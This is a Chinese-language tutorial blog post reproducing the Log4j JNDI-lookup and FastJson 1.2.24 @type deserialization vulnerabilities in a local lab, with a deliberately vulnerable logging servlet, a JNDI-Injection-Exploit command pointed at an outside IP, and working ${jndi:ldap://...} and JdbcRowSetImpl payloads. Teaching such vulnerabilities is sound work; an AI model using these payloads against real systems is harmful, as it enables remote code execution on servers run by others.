当前位置: 首页 > news >正文

Java安全—log4j日志FastJson序列化JNDI注入

前言

log4j和fastjson都是这几年比较火的组件,前者是用于日志输出后者则是用于数据转换,今天我们从源码来说一下这两个组件为何会造成漏洞。

实验环境

这里的idea要进行一下配置,因为我们要引用第三方组件,而这些第三方组件都是从国外的库来下载的,我们需要配置成国内的库不然就比较慢啥的。

Maven 配置:https://www.jb51.net/article/259780.htm

需要注意一下,最后测试的步骤把导入org.junit.Test换成导入org.junit.jupiter.api.Test即可解决报错。

log4j

Apache 的一个开源项目,通过使用 Log4j,我们可以控制日志信息输送的目的地是控制 台、文件、GUI 组件,甚至是套接口服务器、NT 的事件记录器、UNIX Syslog 守护进 程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能 够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来 灵活地进行配置,而不需要修改应用的代码。

先新建一个java项目,命名为Log4j—demo。

可以在外部库看到引用了很多第三方库,但是没有Log4j,我们需要引进一下。

访问这个jar包网站,直接搜log4j。

https://mvnrepository.com/

可以看到log4j这个组件在2.17.1版本之后就没有漏洞了,我们这里选择2.13.1版本的,其它的也行。

点击进去选择Maven。

复制里面的内容到pom.xml这个文件下面,然后更新,就可以看到这个外部库被下载下来啦。

新建一个名为Log4j的文件。

写入以下的代码。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Log4jTest {private static final Logger logger = LogManager.getLogger(Log4jTest.class.getName());public static void main(String[] args) {logger.error("Hello World");}
}

运行输出日志Hello World。

ok现在我们怎么利用呢,我们把代码修改一下,那么现在是会输出${java:os}还是说输出别的呢。

直接运行发现并没有输出${java:os},而是输出了我们系统的版本信息,这是为啥呢?原来当Log4j在输出日志的时候遇到$符号就会把{}里面的东西当作代码来执行,从而造成RCE!!!

当我们的code这个变量是可控的时候就会造成RCE漏洞,所以我们现在搞个网站来试试,新建一个项目,命名为log4j-web。

选择JavaEE8。

再新建一个java文件,命名log4jServlet。

记得到pom.xml这个文件里面,把log4j外部库导入,接着写入以下代码。

package com.sf.maven.log4jweb;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;@WebServlet("/log4j")
public class log4jServlet extends HttpServlet {private static final Logger log = LogManager.getLogger(log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String code = req.getParameter("code");log.error(code);}
}

我们点击编辑配置。

点击左上角的+号,选择Tomcat服务器,选择本地的。

这个应用程序服务器需要你去下载一个才行,直接搜Tomcat下载即可,JDK1.8的话建议配9.0版本的Tomcat。

下载好Tomcat直接点击配置导入即可。

接着点击部署。

点击+号,选择工件,把我们两个log4j的工件部署进去。

最后点击运行就会在浏览器自动打开一个页面。

访问我们的log4j页面,对code参数传参。

回到idea这里,可以看到11被当作日志给输出来啦。

接着执行命令,直接给我跳到404了,这是咋回事呢。

原因是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符。否则会报400错误,这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。

所以我们直接去修改Tomcat的配置文件server.xml,把原来的注释掉,改为如下。

<Connector port="8080" protocol="HTTP/1.1"relaxedQueryChars="[]|{}^&#x5c;&#x60;&quot;&lt;&gt;"connectionTimeout="20000"redirectPort="8443" /
/>

重新运行代码执行命令,终于成功啦。

Jndi注入

说到log4j就不得不提Jndi注入了,全称Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提 供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名 服务和目录服务之间的交互。

我们利用这个JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具来演示一下jndi注入,具体原理的话下篇文章讲,生成命令为"calc"访问IP为8.149.141.189的连接。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx.xxx
随便选个链接,ldap或者rmi都是一样的,生成出来的连接还不能直接用,我们加个括号。
${jndi:ldap://8.xxx.xxx.xxx:1389/h9joif}

这时候我们的本地电脑的计算机给我弹出来了,因为calc就是打开电脑计算机的命令。

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与 json,XML 等格式相互转换与 解析,其中 Json 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据 交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web 输出等各 种应用场景中。FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和打包。说这么多,其实我说白了就是一个数据类型转换的第三方组件。

新建一个项目叫fastjson-demo。

找个有漏洞的FastJson版本组件,我这里用1.2.24版本的。

把代码复制进去下载第三方库,和上面一样。

如果报错的话是没有更新源。

把maven改为我们自己的源,不要默认的源,如果不懂就看上面链接的文章。

换了之后秒下载完成。

先新建一个软甲包,叫com.wlwznb。

再新建一个java文件,命名user。

写入以下代码,这些代码都是idea自带的直接tab补全即可。

package com.wlwznb;
public class user {private String name;private int age;public String getName() {return name;}public void setName(String name) {this.name = name;System.out.println(this.name);}public int getAge() {return age;}public void setAge(int age) {this.age = age;System.out.println(this.age);}
}

再新建一个文件叫fastjson。

我们用这个FastJson这个文件去处理user文件里面的数据,简单写一下代码。

输出。

我们现在的age和name都是字符串类型的数据,现在我要把它转换为Json的数据格式,可以用java自带的API来进行转换,但是自带的API太麻烦了我不想用,所以我引入第三方组件——FastJson。这里在原来的代码中加上两句代码,调用FastJson这个组件。

可以看到输出的数据是Json格式的。

我们现在来看看漏洞是这么造成的,把这FastJson的代码补充完整,就是输出类型。

可以看到这次输出的Json数据多了@type和com.wlwznb.user。

这个@type指定了com.wlwznb.user这个类,并且执行了里面的代码。OK,现在我们再新建一个文件命名为Run,接着写入一个命令执行的代码,执行calc命令。

再在原有的代码基础上,加上两行代码,就是把Json数据转换为字符串格式,注意此时我们的@type指定的类不再是原本的com.wlwznb.user,而是我们刚刚编写的用于命令执行的类com.wlwznb.Run。

运行代码成功弹出计算器,说上面我们说的是对的,这里我指定了com.wlwznb.Run这个类,那么在数据转换的过程就会执行这个类里面的代码。

那在实战中不可能说我们自己去写一个类呀,那咋搞。我们来看一个最典型的payload,这里指定了com.sun.rowset.JdbcRowSetImpl这个类,这个玩意是Java自带的。然后这个类里面的setAutoCommit()方法会调用 connect() 函数,connect()函数又会调用 InitialContext.lookup(dataSourceName)这个函数,InitialContext.lookup这个函数的作用就是查找并返回绑定到指定名称的对象,通俗来讲就是去请求一个资源。然而这个dataSourceName参数是可控的,所以我们指定一个恶意的资源,让它通过rmi或者ldap去请求我们的资源,并且执行我们恶意资源中的代码,从而造成jndi注入。

如果你不懂Java中的类、方法是啥意思,简答来说类就是python中封装好的模块,直接调用即可,模块里面还有很多函数啥的,这些在Java中叫方法,其实就是一样的东西。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

PS:已经尽最大的努力讲明白了

到这里可能会有人有疑问,不是说反序列话造成的漏洞吗,反序列化在哪里?这里把test这个Json数据变成字符串过程就是反序列化,上面把字符串变成Json数据就是序列化,我们讲数据转换只是为了方便理解。

总结

这里就讲了log4j和FastJson两个组件所产生的漏洞,具体怎么利用就下次讲了,还有这个Jndi注入。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

相关文章:

Java安全—log4j日志FastJson序列化JNDI注入

前言 log4j和fastjson都是这几年比较火的组件&#xff0c;前者是用于日志输出后者则是用于数据转换&#xff0c;今天我们从源码来说一下这两个组件为何会造成漏洞。 实验环境 这里的idea要进行一下配置&#xff0c;因为我们要引用第三方组件&#xff0c;而这些第三方组件都是…...

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【DSP指令加速篇】

【STM32开发笔记】移植AI框架TensorFlow到STM32单片机【DSP指令加速篇】 一、前文回顾二、CMSIS-NN简介2.1 为什么介绍CMSIS-NN&#xff1f;2.2 CMSIS-NN是什么&#xff1f;2.3 CMSIS-NN核心特性2.4 CMSIS-NN算子支持 三、TFLMCMSIS-NN集成3.1 包含TFLM的STM32项目3.2 理解TFLM…...

Python中如何判断一串文本是不是数字

目录 1. 内置函数2. 尝试类型转换3. 正则表达式 在编程中&#xff0c;我们经常需要确定一段文本是否为数字。 这不仅关系到数据的准确性&#xff0c;还涉及到后续的计算和处理。 1. 内置函数 在Python中&#xff0c;可以使用str.isdigit()、str.isnumeric()和str.isdecimal()…...

基于YOLOv8深度学习的智慧农业山羊行为检测系统研究与实现(PyQt5界面+数据集+训练代码)

随着智慧农业的快速发展&#xff0c;利用先进的技术手段对牲畜的行为进行自动化监测和管理&#xff0c;已经成为现代农业中的重要研究方向之一。在传统的农业管理模式中&#xff0c;牲畜的行为监测通常依赖于人工观测&#xff0c;耗时耗力且难以实现大规模实时监控。然而&#…...

Redis环境部署(主从模式、哨兵模式、集群模式)

一、概述 REmote DIctionary Server(Redis) 是一个由 Salvatore Sanfilippo 写的 key-value 存储系统&#xff0c;是跨平台的非关系型数据库。Redis 是一个开源的使用 ANSI C 语言编写、遵守 BSD 协议、支持网络、可基于内存、分布式、可选持久性的键值对(Key-Value)存储数据库…...

高阶C语言之六:程序环境和预处理

本文介绍程序的环境&#xff0c;在Linux下对编译链接理解&#xff0c;较为简短&#xff0c;着重在于编译的步骤。 C的环境 在ANSI C&#xff08;标准C语言&#xff09;的任何一种实现中&#xff0c;存在两个不同的环境。 翻译环境&#xff1a;在这个环境中&#xff0c;源代码…...

Vue 3 国际化 (i18n) 最佳实践指南

1. 安装依赖 npm install vue-i18n@9 2. 项目结构建议 src/ ├── i18n/ │ ├── index.ts # i18n 配置文件 │ ├── languages/ # 语言文件目录 │ │ ├── zh-CN.ts # 中文 │ │ ├── en-US.ts # 英文 │ │ └─…...

Acme PHP - Let‘s Encrypt

Lets Encrypt是一个于2015年三季度推出的数字证书认证机构&#xff0c;旨在以自动化流程消除手动创建和安装证书的复杂流程&#xff0c;并推广使万维网服务器的加密连接无所不在&#xff0c;为安全网站提供免费的SSL/TLS证书。 使用PHP来更新证书&#xff1a; Acme PHP | Rob…...

获取DOM 节点的四大方式

前言&#xff1a; 在 Vue 中&#xff0c;获取 DOM 节点可以通过多种方式&#xff0c;如自定义属性、ref 引用、类选择器和 ID 选择器等。 一、使用 ref 获取 DOM 实例 ref 是 Vue 中推荐的获取 DOM 节点的方式&#xff0c;它为每个节点分配一个唯一的引用&#xff0c;可以直…...

ROS2 Humble 机器人建模和Gazebo仿真

一.Ubuntu22.04系统虚拟机安装 1.下载镜像并安装 Index of /ubuntu-releases/ | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 2.安装选英文版&#xff0c;安装类型选清除磁盘。 3.遇到无法复制windows内容到虚拟机里。需安装VMware tools。VMware tools安装不了&a…...

docker容器镜像的制作、使用以及传递

目录 制作容器镜像使用Dockerfile制作镜像准备所需文件构建镜像怎么不使用基础镜像来构建容器镜像 使用容器镜像传递容器镜像 这篇文章讨论一下怎么使用docker制作容器镜像&#xff0c;容器镜像的使用&#xff0c;以及怎么传递容器镜像。 制作容器镜像 docker制作容器镜像推荐…...

一种由于吸入硅酸盐粉尘而引起的肺部疾病:pneumonoultramicroscopicsilicovolcanoconiosis

有人说&#xff0c;pneumonoultramicroscopicsilicovolcanoconiosis是英语中最长的单词&#xff0c;这是一个医学词汇&#xff0c;意思是指&#xff1a;一种由于吸入硅酸盐粉尘而引起的肺部疾病。 pneumonoultramicroscopicsilicovolcanoconiosis [ˈnju:mənəuˌʌltrəˌmai…...

百度AI人脸检测与对比

1.注册账号 打开网站 https://ai.baidu.com/ &#xff0c;注册百度账号并登录 2.创建应用 3.技术文档 https://ai.baidu.com/ai-doc/FACE/yk37c1u4t 4.Spring Boot简单集成测试 pom.xml 配置&#xff1a; <!--百度AI--> <dependency> <groupId>com.baidu.…...

贴代码框架PasteForm特性介绍之outer,outers,object,objects,outerdisplay

简介 PasteForm是贴代码推出的 “新一代CRUD” &#xff0c;基于ABPvNext&#xff0c;目的是通过对Dto的特性的标注&#xff0c;从而实现管理端的统一UI&#xff0c;借助于配套的PasteBuilder代码生成器&#xff0c;你可以快速的为自己的项目构建后台管理端&#xff01;目前管…...

sql数据库-权限控制-DCL

目录 常用权限类别 查询用户权限 举例 授予用户权限 删除权限 常用权限类别 权限说明ALL,ALL PRIVILEGES所有权限SELECT查询数据INSERT插入数据UPDATE修改数据DELETE删除数据ALTER修改表DROP删除数据库/表/视图CREATE创建数据库/表 查询用户权限 show grants for 用户名…...

【计组笔记】目录

【计组笔记】机器数表示及运算https://blog.csdn.net/Resurgence03/article/details/142673325?sharetypeblog&shareId142673325&sharereferAPP&sharesourceresurgence03&sharefromlink 【计组笔记】指令系统https://blog.csdn.net/Resurgence03/article/det…...

深度学习中的Pixel Shuffle和Pixel Unshuffle:图像超分辨率的秘密武器

在深度学习的计算机视觉任务中&#xff0c;提升图像分辨率和压缩特征图是重要需求。Pixel Shuffle和Pixel Unshuffle是在超分辨率、图像生成等任务中常用的操作&#xff0c;能够通过转换空间维度和通道维度来优化图像特征表示。本篇文章将深入介绍这两种操作的原理&#xff0c;…...

AntFlow 0.11.0版发布,增加springboot starter模块,一款设计上借鉴钉钉工作流的免费企业级审批流平台

AntFlow 0.11.0版发布,增加springboot starter模块,一款设计上借鉴钉钉工作流的免费企业级审批流平台 传统老牌工作流引擎比如activiti,flowable或者camunda等虽然功能强大&#xff0c;也被企业广泛采用&#xff0c;然后也存着在诸如学习曲线陡峭&#xff0c;上手难度大&#x…...

golang操作mysql基础驱动github.com/go-sql-driver/mysql使用

golang中类似java操作mysql的jdbc一样&#xff0c;github.com/go-sql-driver/mysql也为go提供了基础接口&#xff0c;在开发中往往需要写更多的代码来满足自己的定制需求&#xff0c;java在驱动基础上有了扩展&#xff0c;orm框架诞生&#xff0c;mybatis、jpa等都是好用的扩展…...

正则表达式完全指南,总结全面通俗易懂

目录 元字符 连接符 限定符 定位符 修饰符&#xff08;标记&#xff09; 运算符优先级 普通字符集及其替换 零宽断言 正向先行断言 负向先行断言 正向后发断言 负向后发断言 捕获组 普通捕获组 命名捕获组 PS:非捕获组 正则表达式在线测试: 正则在线测试工具 …...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战

前言 现在我们有个如下的需求&#xff0c;设计一个邮件发奖的小系统&#xff0c; 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式&#xff08;Decorator Pattern&#xff09;允许向一个现有的对象添加新的功能&#xff0c;同时又不改变其…...

论文解读:交大港大上海AI Lab开源论文 | 宇树机器人多姿态起立控制强化学习框架(二)

HoST框架核心实现方法详解 - 论文深度解读(第二部分) 《Learning Humanoid Standing-up Control across Diverse Postures》 系列文章: 论文深度解读 + 算法与代码分析(二) 作者机构: 上海AI Lab, 上海交通大学, 香港大学, 浙江大学, 香港中文大学 论文主题: 人形机器人…...

以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:

一、属性动画概述NETX 作用&#xff1a;实现组件通用属性的渐变过渡效果&#xff0c;提升用户体验。支持属性&#xff1a;width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项&#xff1a; 布局类属性&#xff08;如宽高&#xff09;变化时&#…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者&#xff1a;Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位&#xff1a;中南大学地球科学与信息物理学院论文标题&#xff1a;BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接&#xff1a;https://arxiv.…...

select、poll、epoll 与 Reactor 模式

在高并发网络编程领域&#xff0c;高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表&#xff0c;以及基于它们实现的 Reactor 模式&#xff0c;为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。​ 一、I…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3

一&#xff0c;概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本&#xff1a;2014.07&#xff1b; Kernel版本&#xff1a;Linux-3.10&#xff1b; 二&#xff0c;Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01)&#xff0c;并让boo…...

如何在网页里填写 PDF 表格?

有时候&#xff0c;你可能希望用户能在你的网站上填写 PDF 表单。然而&#xff0c;这件事并不简单&#xff0c;因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件&#xff0c;但原生并不支持编辑或填写它们。更糟的是&#xff0c;如果你想收集表单数据&#xff…...

Spring是如何解决Bean的循环依赖:三级缓存机制

1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...

Java + Spring Boot + Mybatis 实现批量插入

在 Java 中使用 Spring Boot 和 MyBatis 实现批量插入可以通过以下步骤完成。这里提供两种常用方法&#xff1a;使用 MyBatis 的 <foreach> 标签和批处理模式&#xff08;ExecutorType.BATCH&#xff09;。 方法一&#xff1a;使用 XML 的 <foreach> 标签&#xff…...

Java数值运算常见陷阱与规避方法

整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...